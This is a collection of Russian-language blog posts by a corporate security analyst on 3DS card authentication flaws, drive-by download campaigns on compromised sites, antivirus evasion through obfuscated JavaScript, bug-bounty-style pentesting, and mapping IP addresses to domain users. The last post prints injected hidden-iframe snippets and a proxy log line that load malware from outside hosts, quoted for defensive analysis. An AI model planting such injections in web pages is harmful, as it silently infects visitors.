Verified by Visa

Любопытная статья и еще более любопытный документ. Названия тянут на бомбу, но по сути изложены очевидные вещи. Речь идет о безопасности протокола аутентификации владельцев карты Visa при выполнении ими online-покупок. В целом, мое мнение, чтобы написать подбные "труды" достаточно самому хотя бы раз выполнить покупку картой виза через Интернет и прочитать статью на Wikipedia. Конечно, я делал и то и другое, поэтому позволю себе тут рассуждения. Читать лучше сразу PDF, так как статья содержит в себе еще меньше пользы, хотя размер их соизмерим :-) Полезная нагрузка начинается с главы 2, где повествуется об уязвимостях схемы 3DS.
Самая первая уязвимость, видимо, самая важная - "Confusing the user - hiding security cues" о том, что окно аутентификации при реализации 3DS открывается в iFrame и поэтому не видно домена (а также того, как браузер подсвечивает строку URL с неправильным сертификатом TLS), запросившего аутентификацию. Может, в какой-то мере, это снижает безопасность, но:
1. Ничто не мешает банку аутентифицировать в новом окне браузера, тогда даже и строку URL будет видно со всеми ее подсветками.
2. Легитимность сайта подтверждается его сертификатом. При этом, если сертификат протух, не на тот сайт или выдан неизвестным CA браузер выбрасывает промптер предупржедения в котором подробнейшим образом указана проблема, предлагается посмотреть сертификат собственноручно, и только после добавления в исключения все-таки показать его контент. Обход столь сложной процедуры возможен только если:
-- "зловредный" CA, выдавший сертификат подложному сайту, каким-то образом "протрастщен" (добавлен в доверенные удостоверяющие центры) на endpoint-е => мой endpoint компрометирован => есть масса других способов утащить мои секреты и обмануть меня.
-- секретный ключ CA компрометирован и я об этом не знаю (или никто об этом не знает) и злоумышленники подписывают им сертификаты всем негодяям подряд. На этот риск я не могу сильно вилять => его не следует рассматривать

Отдельно следует поговорить про безопасность endpoint-а. Поскольку это элемент платежной системы, безусловно, к нему должны предъявляться требования. Идеально, если банк мог бы проверить их выполнение, но на практике это крайне сложно, поэтому, в обязательном порядке:
- банк должен давать рекомендации для пользователей сервиса "Online Shopping-а"
- желательно наличие каких-либо сервисов от банков, где можно было бы проверить этот compliance (не обязательно online-овых)
- должна быть четко определена ответственность клиента в данном сервисе: клиент должен отвечать только за полное соблюдение требований, но не за весь сервис.

Да, я тут пишу "банк"... "банк".... Дело в том, что 3DS - это лишь framework, конкретная реализация схемы аутентификации - за банком, поэтому, насколько хороша (надежна, безопасна) схема полностью зависит от банка. Да, есть "глупцы", благодаря которым и появляются все эти наукообразные статьи и "исследования", но есть и вполне себе достойные.

Уверен, что для наведения порядка в этом 3DS, Visa должна выпустить ряд требований к реализации этого 3DS, как это сделано, например в PCI DSS.

Но вернемся к статье.
В П 2.2. "Activation during shopping" указана уязвимость слабой аутентификации клиента, указано, что кто-то спрашивает только день рождения. Согласен, что это бред и процедура здесь должна быть аналогична применяемым в системах ДБО. Где-то это какие-то секретные ключи, за которыми надо пешком сходить в банк, где-то это SMS-уведомления с одноразовыми паролями. Если кто-то реализовал глупость, не следует ее сразу обобщать на всех. Также указано, еще более веселая мысль о том, что сайт запрашивает у клиента персональную информацию и это делает его более склонным к социальной инженерии, когда уже фишеры будут запрашивать то же самое: ответил банку, ответит и фишеру. Даже комментировать не буду :-)

В П 2.3 "Informed consent and password choice" утверждается, что: Пользователь, сконцентрированный на приобретение товара (сценарий activation during shopping (ADS)) будет выбирать слабый пароль. Контроль оцевиден: банк не должен принимать простые пароли и вообще реализовывать политику: сложность, длина, периодическая смена, автоблокировка при неправильных вводах.

П 2.4 "Liability shifting" посвящен тому, что Банк "по-тихому" взваливает всю ответственность за компрометацию на клиента. Это тоже необходимо разрулить Визе (как я отмечал выше): пользовать может (и должен!) следовать только четко указанным требованиям, отвечать за все он не может технически (и не должен!). Снимать ответственность полностью с пользователя - не правильно, так как его endpoint - компонента общей системы и ее компрометаци приводит к компрометации системы.

В п 2.5 предлагается некоторое усиление механизма аутентификации банка у клиента, думаю сертификата вполне достаточно (см выше). Если хочется реализовывать еще и это - лишним не будет.

П 2.6 посвящен раличным чудачествам банков относительно того, как они аутентифицируют клиентов при использовании схемы и при смене аутентификационных данных. Что же в семье, как говорится, не без урода. Требовния от Visa к реализациям аутентификации в 3DS должны решить проблему.

П 2.7 - про Privacy. О этот вечный баланс между Security и Privacy:

Нужно помнить следующее:
1. Про аутсорсинг. Если есть объективные причины мои данные передавать аутсорсеру и аутсорсер обязуется охранять мои данные не хуже банка, какой для меня риск? Я на днях ходил в ГИБДД за справкой о ДТП там на входе мои паспортные данные записали в журнальчик... меня больше беспокоит этот журнальчик, кто его читает, как он утилизируется и т.п. Причем такой журнальчик есть практически везде. А мы тут голову ломаем о том что говорить Роскомнадзору и ФСБ, когда ФЗ-152 - нигде не работает.
2. В конечном счете, меня, как субъекта можно аутентифицировать только моими персональными данными. У меня больше ничего нет.

Сухой остаток:
1. Ждем от Visa требований к реализации протоколов аутентификации.
2. От банков ждем требований по безопасности endpoint-а (кое-где видел, но Visa должна обязать такие требования готовить).
3. То, что аутентификационные механизмы отданы на реализацию банкам - правильно, с Visa только требования и разделение ответственности.

Эволюция атак Drive-by Download

Выкладываю нашу презентацию на ZeroNights.
Для тех, кто не был непосредственно на конференции, хочется сказать пару слов о презе (пару слов о самой конференции скажу чуть позже, когда эмоции превратятся в мысли :-)).

Все что представлено в презентации является следствием нашего внимательного анализа событий систем обнаружения вторжений, антивируса и HTTP-прокси. Все показанные здесь события были взяты непосредственно из наших логов (которые по долгу службы мы должны смотреть), отражающих посещения Интернет наших пользователей.

Цель данной презентации ни в коем случае не оскорбить кого-либо, а привлечь внимание к проблеме и, возможно, найти более эффективные меры борьбы, чем мы тут сами пытаемся применять.

Вполне возможно, что у нас какая-то не та карма и в других сетях такие чудеса не наблюдаются, но мы вынуждены мириться, ибо мы защищаем наших пользователей каковы бы не были их интересы и какова бы не была наша карма.

Drive-by download attack evolution

REG.ru нам не поможет :-(

Стали фиксировать некоторые изменения в развитии проблемы. Если раньше эксплоиты и зловреды хостились на индийских доменах (закрыли их весьма просто regExp-ом: "\.in$"), то сейчас - на наших отечественных. Причем здесь наблюдаются еще элементы социальной инженерии - мол, проблемы у вас с IE, давайте мы вам починим....

Что же это за домены *ie.ru??

01ie.ru

IP-адрес: 46.4.82.48

По данным WHOIS.RIPN.NET:

Домен:	01IE.RU
Сервер DNS:	ns3.fastvps.ru.
Сервер DNS:	ns4.fastvps.ru.
Статус:	зарегистрирован, делегирован, не проверен
Администратор домена:	Частное лицо "Private Person"
E-mail:	poshli@nahuy.ru
Регистратор:	REGRU-REG-RIPN
Дата регистрации:	2011.11.01
Дата окончания регистрации:	2012.11.01
Источник:	TCI

02ie.ru

IP-адрес: 46.4.82.48

По данным WHOIS.RIPN.NET:

Домен:	02IE.RU
Сервер DNS:	ns3.fastvps.ru.
Сервер DNS:	ns4.fastvps.ru.
Статус:	зарегистрирован, делегирован, не проверен
Администратор домена:	Частное лицо "Private Person"
E-mail:	poshli@nahuy.ru
Регистратор:	REGRU-REG-RIPN
Дата регистрации:	2011.11.01
Дата окончания регистрации:	2012.11.01
Источник:	TCI

03ie.ru

IP-адрес: 46.4.82.48

По данным WHOIS.RIPN.NET:

Домен:	03IE.RU
Сервер DNS:	ns3.fastvps.ru.
Сервер DNS:	ns4.fastvps.ru.
Статус:	зарегистрирован, делегирован, не проверен
Администратор домена:	Частное лицо "Private Person"
E-mail:	poshli@nahuy.ru
Регистратор:	REGRU-REG-RIPN
Дата регистрации:	2011.11.01
Дата окончания регистрации:	2012.11.01
Источник:	TCI

Пишем в Reg.ru - так, мол и так, домены с владельцем (poshli@nahuy.ru ) хостят зловред, давайте их удалим. На следующий день получаем ответ, цитирую (не думаю, что я что-то нарушу процитировав его, но персоналии, на всякий случай, удалю):

> -----Original Message-----
> From: Клиентская служба [mailto:manager@reg.ru]
> Sent: Friday, November 11, 2011 2:03 PM
> To:
> Subject: Re: [Ticket#2011111010003016] Заявка "Домены 01ie.ru, 02ie.ru,
> 03ie.ru установка вредоносного ПО без ведома пользователя"
>
> Здравствуйте,
>
> ООО "Регистратор доменных имен РЕГ.РУ" является Аккредитованным
> регистратором доменных имен и осуществляет свою деятельность в строгом
> соответствии с Правилами регистрации и Регламентами. В соответствии с
> Правилами регистрации доменных имен в домене RU все операции с доменами
> осуществляются на основании заявок от Администратора домена. Если
> Администратором домена являетесь Вы, то Вы вправе на основании
> официального письма совершать любые действия с доменом, в том числе
> аннулировать регистрацию.
>
> Если Вы считаете, что информация, расположенная на домене, является
> незаконной, Вам следует обратиться к хостеру, который предоставляет
> хостинг для данного домена. Информацию о хостере Вы можете посмотреть,
> используя сервис WHOIS.
>
> Если Вы считаете, что Ваши права нарушены Администратором домена, Вам
> необходимо связаться с ним для выяснения обстоятельств. Контактную
> информацию об Администраторе Вы можете найти в WHOIS.
> В случае, если у Вас не получится уладить Ваши претензии к
> Администратору домена путем переговоров, Вы можете обратиться в суд в
> порядке искового производства.
> Мы, в свою очередь, вправе принять меры к Администратору домена (а
> именно, аннулировать регистрацию этого доменного имени) только на
> основании вступившего в законную силу судебного решения.
>
> В соответствии с Правилами регистрации доменных имен в домене RU
> Регистратор аннулирует регистрацию домена на основании судебного
> решения.
>
> "9.2. Регистратор самостоятельно прекращает право администрирования
> после получения доказательств наличия вступившего в законную силу
> решения суда:
> (1) запрещающего Администратору использовать в доменном имени
> обозначение, правами на которое обладает истец;
> (2) признающего администрирование домена Администратором нарушением
> прав истца (если применение такого средства восстановления нарушенного
> права не противоречит судебному решению)
> (3) иным образом обязывающего Администратора отказаться от доменного
> имени."
>
> --
> С уважением,
>
> Специалист Службы по работе с клиентами
> Регистратор доменных имен REG.RU
> Телефон: +7 (495) 580-11-11
> http://www.reg.ru
> http://рег.рф

В общем, идея коллективной взаимопомощи в мире где все всем по... не важно, умирает. Я не понимаю, почему REG.ru не может удалить эти домены на том простом основании, что предоставленные при регистрации данные не соответствуют действительности...

PS: написали в хостера. Реакции так же нет.

Сигнатурные антивирусы, прощайте

Продолжая потихоньку сражаться с проблемой, решил, таки посмотреть, что же там качают...

Приведу фрагмент странички, хостящей зловред:
Вот, что-то никогда не доводилось взглянуть, а как все интересно!
a - массив чудовищной длины, фактически байтов, которые там раскиданы по порядку, известному разработчику (в данном примере - обратный порядок).
Из этого "набора" потом в переменную s набирается побайтовым "выкусыванием", собственно, код, который затем выполняется в eval(s).

Какому-нибудь сканеру вредоносности кода, чтобы увидеть вредоносность надо его собрать, а чтобы его собрать надо знать алгоритм по которому он разбросан...

Тему можно дальше развивать до бесконечности:
- также набирать, скажем индекс "выкусывания",
- также набирать "опасные" команды, типа eval, substr, тп
- можно сильно усложнить алгоритм "выкусывания"
- ... человеческая фантазия безгранична ...
Полиморфизм, однако.

Можно попробовать что-то вроде песочницы, т.е. фактически выполнить код, как это сделал бы браузер. Делать это можно, если недолго (антивирус должен работать незаметно!). Но, можно же вставить искусственные задержки (sleep) , можно вставить естественные задержки, скажем, в цикле пытаться что-то поделать небыстрое, ... - пользователь замучится ждать, пока антивирус собирет - не вариант.

Печально что мой, не изощренный мозг, ограниченного горе-программиста с ходу придумывает такое количество схем обфускации, практически полностью убивающих идею обнаружения зловреда до его поражения жертвы, что же говорить о высококлассных профи :-(

Опыт показывает, что все эти сэмплы практически не детектятся никем из Virustotal, пока в соответствующие поддержки не пришлешь сэмплы и они не выпустят экстры. Что уж в этих экстрах - не разбирался, но судя по тому, что ровно такая же штука (с небольшими изменениями) срабатывает снова и снова, складывается недоброе впечатление что там чуть ли не сравнение по MD5 :-(

PS: я посмотрел в некий .class (использовал javap), там тоже белиберда и substr-ы (java/lang/String.substring). По ходу та же техника....

Приз вместо оплаты услуг, продолжение.

Публикация вызвала любопытный спор в группе RISSPA на LinkedIn-е. Спор - это всегда хорошо, так как он позволяет приблизиться к истине (постараюсь быть самокритичным: есть у меня склонность к троллингу, но, зная за собой сей грешок, всегда стараюсь держать себя в руках) . Мне не показались убедительными доводы моих оппонентов, тогда как собственная логика вполне себе пригодной. В данном блоге я, все-таки, намерен излагать свои умозаключения, но быть объективным и привести доводы оппонентов и свои ответы на них. Пишу, главным образом, для тех, кто по каким-либо причинам не участвует в нашем RISSPA-LinkedIn-овском междусобойчике :-), но кому идея может показаться любопытной.

Итак, я пытаюсь применить такие конкурсы в качестве средства анализа защищенности (теста на проникновение) интернет-сервисов коммерческой компании. Такой подход, на мой взгляд, имеет ряд серьезных преимуществ для Заказчика (коммерческой компании):

1. Выбор подрядчика происходит по факту выполненных работ, а не на основании предположения как подрядчик, наверно, это сделает. Сложившаяся практика такова: Заказчик пишет Техтребования, требования к квалификации подрядчика, вывешивает их на свой сайт с предложением слать оферты. Потенциальные Подрядчики высылают в назначенный час свои оферты с информацией о том, какие они хорошие. Заказчик рассматривает предложения, отсеивает тех, кто не проходит по каким-либо квалификационным требованиям, а из оставшихся квалифицированных выбирает по минимальной цене победителя. Т.е. на момент выбора Подрядчика Заказчик не имеет ни малейшей уверенности, что Подрядчик отработает хорошо. Критерий минимальной цены здесь играет далеко не в интересах Заказчика.
2. Множество независимых результатов позволит более объективно оценить качество работ. По "устоявшейся" схеме после отработки подрядчика Заказчик получит единственный результат, собственно, результат работы Подрядчика. Для оценки качества работы Подрядчика, Заказчику, в случае пентеста, надо провести свой пентест: ОК, если Подрядчик нашел хоть что-то, но если он не нашел ничего, означает ли это, что Заказчик хорошо защищен? Или просто Подрядчик так отработал (как смог)? Множество независимых результатов эту проблему смягчают: если Подрядчик1 не нашел ничего, а Подрядчик2 - что-то, - уже есть смысл задуматься.
3. Заказчик гарантированно впишется в свой бюджет. Тут все понятно: Заказчик сам объявляет приз, и не возможна ситуация, когда запланированный на пентест бюджет ниже любой присланной оферты.
4. Подобные конкурсы позволят открывать новые имена. При открытом конкурсе, когда участвовать сможет каждый желающий, больше шансов для формирования действительно конкурентной среды, что, безусловно, повысит качество услуг.

Изобретатели и яростные сторонники современных тендерных процедур мне возразят, что оплата всегда производится по факту выполненных работ и это гарантирует Заказчику защиту от некачественных услуг. Но, не все так просто. Крайне тяжело оценить качество пентеста, когда есть просто куча НО. Фактически, чтобы доказать Подрядчику, что работы, им проделанные, низкого качества, Заказчику надо провести аналогичные работы.... иначе, я не знаю как. Очевидно, нанимая Подрядчика, Заказчик тем самым подтверждает по тем или иным причинам свою неспособность в выполнении этих работ, а следовательно, Подрядчик неплохо устроился :-)

Теперь перейдем к аргументам моих оппонентов.
1. Возможна низкая эффективность такого конкурса. Тут мне кажется, что все зависит от мотивации. Можно придумать неплохую стратегию проведения таких конкурсов, где продумать вопросы мотивации участников. Сейчас, банально, чем выше призовой фонд, тем бОльшая эффективность будет у конкурса. В любом случае, все работают за деньги. Можно продумать какие-либо еще варианты: какое-нибудь схемы взаимного сотрудничества, рекламы и т.п.
2. Подобные конкурсы будут работать только в разовых акциях и непригодны для постоянного процесса. Во-первых, совсем не обязательно пентестить сайт на постоянной основе, скажем, раз в год. Во-вторых, все опять же упирается в мотивацию: никто не мешает, например, оплачивать любую информацию об обнаруженной уязвимости, - при такой постановке вопроса уже мы наблюдаем процесс. Примерно это может выглядеть так: Заказчик сделал Интернет-сервис, запустил конкурс. Условиями может быть оплата каждой найденной уязвимости в пропорции к ее критичности, например (все это можно прописать в техтребованиях).
3. Подобные конкурсы приведут к тому, что Черные шляпки будут использовать найденные уязвимости в своих грязных делишках. Мое мнение, что на этот риск наличие или отсутствие конкурса никакого влияния не имеет. Позиция, что меня никто не ломает, потому что обо мне никто не знает не очень вяжется с маркетингом, поскольку если Интернет-сервис должен приносить прибыль, он должен быть известен. Ну а с тем, что ломают то, что известно и посещаемо - надо мириться и как-то бороться.
4. Публичная огласка степени "дырявости" веб-ресурса серьезно подмочет репутацию компании Заказчика. Стратегия "молчания в тряпочку" - наиболее разумная. Во-первых, все зависит от важности сайта для бизнеса Заказчика. Если сайт является, что называется, core-бизнес, то, уверен, его надо публично исследовать. Во-вторых, публикации типа этой, даже если они вышли до фактического исправления, на мой взгляд, вызывают меньший резонанс, чем информация о том, что какой-нибудь Изя Питерский тайно заломал сайт 15 месяцев назад, извелкал из него какую-либо выгоду, а когда надоело - продал конкурентам, которые глумились уже более продуманным образом (еще раз, публичность или непубличность исследований не будет хоть как-то коррелировать с работой Изи). Выход публикаций об узявимостях уже означает, что по ним рабоатют и латают. К тому же, остается надежда на этичность исследователей и подобные уязвимости пойдут в публикацию уже после исправления. Я абсолютно уверен, что стратегия "молчания в тряпочку" значительно менее эффективна, чем всестороннее исследование.

Напоследок, еще раз хочется подытожить, что то, что такие конкурсы обходятся дешевле среднестатистического пентеста - не основной мой аргумент ЗА, основное здесь - большая гарантия качества, чем при классическом конкурсном подходе в случае работ, где качество оценить самому Заказчику крайне сложно. Но есть Сообщество, которое поможет. Все-таки я склонен думать, что хороших людей больше и идея свободы информации в добрых целях жива не только в моем сознании.

Приз вместо оплаты услуг

Вот тоже интересная идея! Допустим, по вашим корпоративным стандартам положено пентестить каждый web-сервис, который должен волей бизнеса быть доступен из Интернет. Видя приз в $5000 могу с уверенностью сказать, что эта сумма значительно ниже заказного пентеста. Может, лучше такие конкурсы объявлять, чем конкурсы на выбор подрядчика?!

• Нет риска, что работа будет выполнена плохо: действительно платим только победителю, значит, он что-то найдет (можно тут ознакомиться с примерно полным перечнем опасений).

• Цена - крайне привлекательна.

О Рекламе и Антирекламе

Мы в нашем SOC-е уже давно трейсим проблему с переменным успехом: каждый день тонны новых сайтов, хостящих эксплоиты причем в чем угодно: pdf, swf, java, exe ... Куча сэмплов засылаются в антивирусных вендоров, virustotal напрягается, вендоры тоже, наш хелпдеск устал перезаливать десктопы, мы с ИТ-шниками постоянно в тонусе: ломаем голову как бы это закрыть на периметре, чтобы более не напрягало. Пока не понятно в чью пользу. Мы склонны думать, что это работает автомат, которого постоянно подкармливают эксплоитами и пейлоадами, а также потенциальными целями (выбираются наиболее посещаемые сайты) и снимают "урожай" уже компрометированных клиентов. Возможно, последние потом просто продаются, но это вопрос отдельного изучения.

Впечатляют масштабы этого безобразия: мы анализируем только посещения наших пользователей, да у нас большая сеть, но в масштабах Интернет - капля. Достаточно много вполне себе приличных сайтов новостей, известных на всю страну организаций взломано. Причем, когда мы сообщаем в соотвествующие поддержки сайтов и проблема устраняется, практически на следующий день снова наблюдаем хостящийся эксплоит :-)

Среди таких известных и в то же время уже разломанных сайтов, с хостящимся эксплоитом - URA.RU. При заходе на сайт приятно видеть, что мой домашний Касперский не спит (думаю, любой из вас может это увидеть):

Здорово, правда? В целом, гордится не чем.

Однако, вполне себе приличная и известная Компания, специализирующаяся как раз на обеспечении информационной безопасности на своем сайте среди уважаемых клиентов с гордостью перечисляет:
Илья, если вы читаете, пожалуйста, помогите клиенту.

Размещать известных клиентов на своем сайте - общая практика. А ведь так просто этим же себе и навредить....

Я ни в коем случае не хотел бы в этом посте задеть чьи-либо интересы, нет. Я очередной раз задумался о том, что любая палка имеет как минимум два конца и, порой, преследуя одно, мы получаем совсем другое. Опыт показывает, что захачить можно практически любой сайт и совсем не значит, что его писали плохие разработчики и администрят плохие админы: слова "плохой" и "хороший" - относительны, а любая консалтинговая компания стремится обозначить своих клиентов, тем самым немного добавив в копилку мнения прохожего о качестве своих услуг.

Может, разве что, ссылки не давать со своего сайта, оставив одни логотипы :)

Определяем кто это

В продолжение некоторых повествований о Tool-ах напишу об одном из методов определения личности из IP-адреса (или MAC-адреса, или порта коммутатора) в управлеяемой сети. Здесь я не буду выписывать конкретные скрипты, но если на то будет потребность, куда-нибудь их выложу.

Под "управляемой" я понимаю сеть, где используется какой-то корпоаративный каталог и предприняты меры, чтобы все пользователи в этом каталоге как минимум аутентифицировались. В данной статье в роли каталога будет MS ActiveDirectory.

Соответствие IP-адрес (крайне актуально при использовании DHCP!) логину в домен можно взять из события входа в домен.
Для Windows 2003 - это event ID 540, для Windows 2008 - 4624.

Выгружуть логи входа в домен можно прямо в базу MSSQL logparser-ом, например, вот так:
logparser "SELECT TimeGenerated,EXTRACT_TOKEN(Strings,UNN,'|') AS UserName, EXTRACT_TOKEN(Strings,SNAN,'|') AS SourceNetworkAddress, EXTRACT_TOKEN(Strings,APN,'|') AS AuthenticationPackage INTO TABLENAME FROM \\SERVERNAME\Security WHERE EventID=EVENT AND TimeGenerated > SUB( SYSTEM_TIMESTAMP(), TIMESTAMP('2', 'd') ) AND UserName NOT IN ('';'ANONYMOUS LOGON';'OTHER YOU DONT NEED') AND SourceNetworkAddress <> '-' AND UserName NOT LIKE '%\$' GROUP BY TimeGenerated, UserName, SourceNetworkAddress, AuthenticationPackage " -i:EVT -o:SQL -server:DBSERVER -database:DBNAME -ignoreIdCols:ON -transactionRowCount:1000 -iCheckpoint:CPFILE

Здесь EVENT соответствующий EventID, SERVERNAME - сервер с которого забирать логи (контроллер домена), TABLENAME - имя таблицы куда положить, DBSERVER - сервер базы, где лежит TABLENAME, DBNAME - имя базы данных на сервер DBSERVER, CPFILE - файл контрольной точки (см помощь по logparser-у)
При этом отфильтровываются все "не люди", типа ANONYMOUS LOGON или Что-то$ (является компьютером).

Команда EXTRACT_TOKEN извлекает из переменной Strings токены (разделенные | ) с соотвествующими номерами (фактически, это место того или иного значения в переменной Strings). Чтобы было понятно, покажу как выглядит поле Strings:
S-1-0-0|-|-|0x0|S-1-5-21-2470146651-3958396388-2989495117-22222222|wgates|WINDOMAIN|0x1d4bdaa0|3|Kerberos|Kerberos||{65E49E5E-ABDF-AA83-C373-B27A1ED589E7}|-|-|0|0x0|-|1.1.1.1|3325


Для разных Windows на разных местах стоят различные параметры события. Нам нужны:
UserName
SourceNetworkAddress
AuthenticationPackage

Соотвествующие им номера токенов в приведенной выше команде:
UNN - место в Strings для значения UserName
SNAN - для SourceNetworkAddress
APN - для AuthenticationPackage

Соотвествующие значения для 2003:
UNN => 0,
SNAN => 13,
APN => 5,

Для 2008:
UNN => 5,
SNAN => 18,
APN => 10,

Чтобы подставить правильный EventID, нужно узнать какая версия ОС на SERVERNAME. Это тоже можно сделать logparser-ом, так как последний умеет читать и из реестра:
logparser "SELECT Value FROM '\\SERVERNAME\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion' WHERE ValueName = 'ProductName' " -i:REG -o:NAT -headers:OFF -recurse:0 -q:ON
Для 2003 будет возвращено:
Microsoft Windows Server 2003
Для 2008 что-нибудь вроде:
Windows Server 2008 R2 Enterprise

Еще немаловажно, как бы это странно не звучало, найти все контроллеры домена. Тут нам поможет штатная команда Windows:
netdom query /D:DOMAINNAME DC
Она вернет список NetBIOS-имен контроллеров домена, которые затем нужно подставлять вместо SERVERNAME в указанные выше команды.

Итак, из таблицы TABLENAME мы можем получить связку IP - ADLogin.

Далее, связку IP - MAC можно получить с маршрутизатора.
Для маршрутизатора Cisco команда такая:
show ip arp
Если используется VRF (скорее всего да, поскольку это уже общепринятая практика), соответственно:
show ip arp vrf VRFNAME

Поскольку MAC, как правило, в обычных условиях не меняют, можно сказать, что компьютер уникально идентифицировали.

В целом, можно воспользоваться DNS-именем, оно тоже нечасто меняется. Хотя, для рабочих станций пользователей ситуация может и меняться.

Последнее, хочется установить коммутатор и номер порта, где этот пользователь располагается. Эту информмацию можно взять с коммутатора. Команды:
Для IOS-а:
show mac-address-table dyn
Для CatOS-а:
sh cam dynamic

Команды вернут связку VLAN-MAC-PORT, название коммутатора, соответственно, - где эту команду вызывали.

Проблема здесь только в том, что надо отфильтровать транки. Какие порты транковые можно узнать так:
для CatOS:
show trunk
Для IOS:
show interface status

Подведем итог:
IP-ADLogin - берем из контролера домена, события входа в домен
IP-MAC - берем с маршрутизатора
VLAN-MAC-PORT-SWITCH - берем с коммутатора.

Если есть какая-либо база разводки СКС, то PORT-SWITCH можно преобразовать в непосредственное метопололжение в офисе. В целом, все что нужно.

Применения.
Приведу лишь некоторые, активно используемые в практике.
1. Определение физического местоположения злоумышленника.
2. Отслеживание перемещений сотрудников по рабочим местам, офисам.
3. Фиксация прихода на работу по событию 'interface up/down' коммутатора. Событие содержит номер порта, который можно преобразовать в Login.
4. Поиск всех компьютеров, на которых логинился в домен пользователь.
....

Разработчик ПО - безопасник

Давно я уже не работаю программистом и вопросами как это делается сейчас "в промышленых" масштабах не интересуюсь, но, может, кому покажется полезной идея, изложенная здесь.

Все пограммные продукты, которые я когд-либо разрабатывал в конечном итоге были мною и спроектированы. Конечно, я тоже читал умные книжки о том, что надо сначала все спланировать, продумать алгоритм, нарисовать все схемки, предусмотреть все мелочи .... и только потом брать какую-нибудь SDE и кодировать. Но, я никогда не программировал с промышленных масштабах, в крупных командах, и в, конечном итоге, сам себе был и архитектор и реализатор. Думаю, что, тем не менее, я не в меньшинстве: всегда есть начальство, которое дает высокоуровневую задачу, реализацию которой от начала до конца следует продумать нам, подчиненным.

Из опыта (возможно плохого и неправильного с т.з. высокой науки планирования программных решений) могу сказать, что на момент начала кодирования далеко не все мелочи продуманы и даже некоторые запланированные фрагменты основного алгоритма по ходу реализации могут значительно изменяться. Причин таких изменений "по ходу реализации" может быть великое множество и я бы не хотел их тут подробно разбирать, может быть, когда-нибудь потом. Когда такие изменения некуда эскалировать, я сам и разработчик, и архитектор, и главный идейный генератор, я уже перехожу в разряд "творцов" и программирование для меня из механики (буквально перевод на язык программирования == переводчик) в что-то вроде, не побоюсь этого, творчества (== художник, писатель). Очевидно, что при тврочестве у меня уже нет возможности (да и я сам не рекомендовал бы распыляться!) мне уже некогда обращать внимание на правильность и точность механических действий (приведу не очень удачный пример: когда я увлеченно говорю на неродном для себя языке, я допускаю грамматические ошибки, поскольку я не могу в момент увлеченности жестко контролировать технику механики, собственно, речи: грамматику, произношение и т.п. Пример не очень удачен, ввиду того, что если я имею достаточно большую практику, я буду механически говорить правильно не напрягаясь. Но такая "привычка делать правильно" не может развиться при кодировании). Т.е. когда я творю, я, скорее всего, не думаю о безопасности моего кода, я концентрируюсь на функционале. Как следствие, я не проверяю входные параметры (поскольку такие проверки, при отсутствии стандартных функций сильно напрягают мозг), я не использую "безопасные" варианты функций и много чего еще не делаю, что надо бы, но не хочется отвлекаться, чтобы не потерять мысль.

Решением данной проблемы мне видится появление (а может уже где есть) специального класса "программистов-безопасников", которые потом будут вычитывать исходные коды за "творцами" и исправлять потенциально небезопасные реализации. Этот процесс, как мне кажется, можно достаточно хорошо поставить на поток, поскольку есть масса матерала о том, как надо писать на том или ином языке, и как не надо. Можно все эти "рекомендации" собрать, систематизировать и использовать. Можно даже что-то проверять, наверно, автоматизированными средствами, которые смогут выискивать потенциально небезопасные конструкции.

Из экономических соображений (еще один безопасник!), хочется программиста-безопасника интегрировать в обычного программиста, а всю творческую составляющую полность от него отнять. Мой (сразу скажу - небольшой) опыт показывает что полностью это сделать не получится. Обилие уязвимостей, связанных именно с программной реализацией: все виды переполнения буфера, всякие инъекции, всевозможные кросс-сайт штуки и т.п. показывает, что обзр исходников на безопасность если и производится, то крайне плохо.

Еще один возможный камень в огород моего предложения - не будет решена проблема архитектурных уязвимостей. Но, кто будет спорить с необходимостью привлечения безопасности на всех этапах SDLC!? Мой (на сей раз уже значительный) опыт участия в проектах в качестве того самого безопасника-эксперта показывает, что не только в разных проектах нужен безопасник разной специализации (думаю, это очевидно, не буду объяснять), но и на разных этапах нужен также профессионал в соответствующей области. А слово "профессионал" в моем, возможно, извращенном представлении, никак не ассоциируется с уточнением "широкого профиля" - нельзя быть профессионалом во всем.

Напомню, что здесь на ваш суд я обозначил потребность в программисте-безопаснике. Традиционно, любые мысли приветствуются.

Безопасность Web-приложений со стороны пользователя

Опыт анализа логов IDS и web-прокси только по одной компании полностью подтверждает написанное. Вообще, у меня сложилось впечатление, что:
1. Хостеры, сайтописатели и службы безопасности интернет-представительств либо плохо работают, либо вовсе не следят за своими сайтами. Первое время мы оповещали владельцев сайтов, что их сайт взломан и на нем хостится "что-то", что потом залетает к нашим пользователям, посещающим их сайт. После нескольких, достаточно веселых переписок, напоминающих легенду о вымирании динозавров (их тело было настолько большим, а нервная система настолько несовершенна, что нервный импульс от хвоста до мозга доходил несколько минут), я посчитал это занятие малоэффективным.
2. В Интернет существует просто громаднейшее количество сайтов, которые так или иначе скомпрометированы. Даже если сайт имеет Имя, совсем не значит, что он не может хостить "что-то", чего вы бы не хотели получить. К этому надо быть готовым.

К сожалению, никто кроме нас нам не поможет.

Как это выглядит? Приведу лишь словесное описание и один пример (, как это выглядит в лолгах.
На страничку сайта как-то попадает ссылка на "нехороший" сайт, который хостит PDF, Java-апплет или Flash-ролик. Внутри PDF - JavaScript, который уже закачивает, возможно, с другого "нехорошего" сайта бинарник, представляющий собой зловред. Наш печальный опыт показывает, что подавляющее большинство этих зловредов не ловятся практически никаким антивирусом (использовали virustotal). Понятно, что антивирусы умирают, но жалко как-то: крутится на компе, поедает его ресурсы, а эффекта мало :-(

В логах прокси:
1.1.1.1 - "MSAD\BGates" [12/Oct/2011:06:10:06 +0400] "GET http://l65.in/stats8888/buble.php?key=rtgddfg%26u=root HTTP/1.0" 200 627 281 275 344 "http://<скрыто из этических соображений>/daily/25768/2753033/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)" "-" - "text/html" "default" 0.258 "-" TCP_MISS

Первая ссылка - куда пошел пользователь, вторая - Referrer - позволят предполагать откуда.
Не надо пытаться разрешить сайт l65.in, по нашей статистике живут такие сайты не более месяца, в большинстве случаев - несколько дней.

На страничке сайта "Скрыто из этических соображений" это выглядит примерно так:
<script>
var rnd = Math.round(Math.random() * 100000);
document.write("<"+"if"+"rame src="+"http://{куда-то далеко}.in/if"+"rame.php?r="+rnd+"&id=8 width=100% height=975 marginwidth=0 marginheight=0 scrolling=no frameborder=0>");</script>

или совсем просто:

<iframe src="http://<тоже не близко>.in/wea54/06.php" height="0" width="0"></iframe>

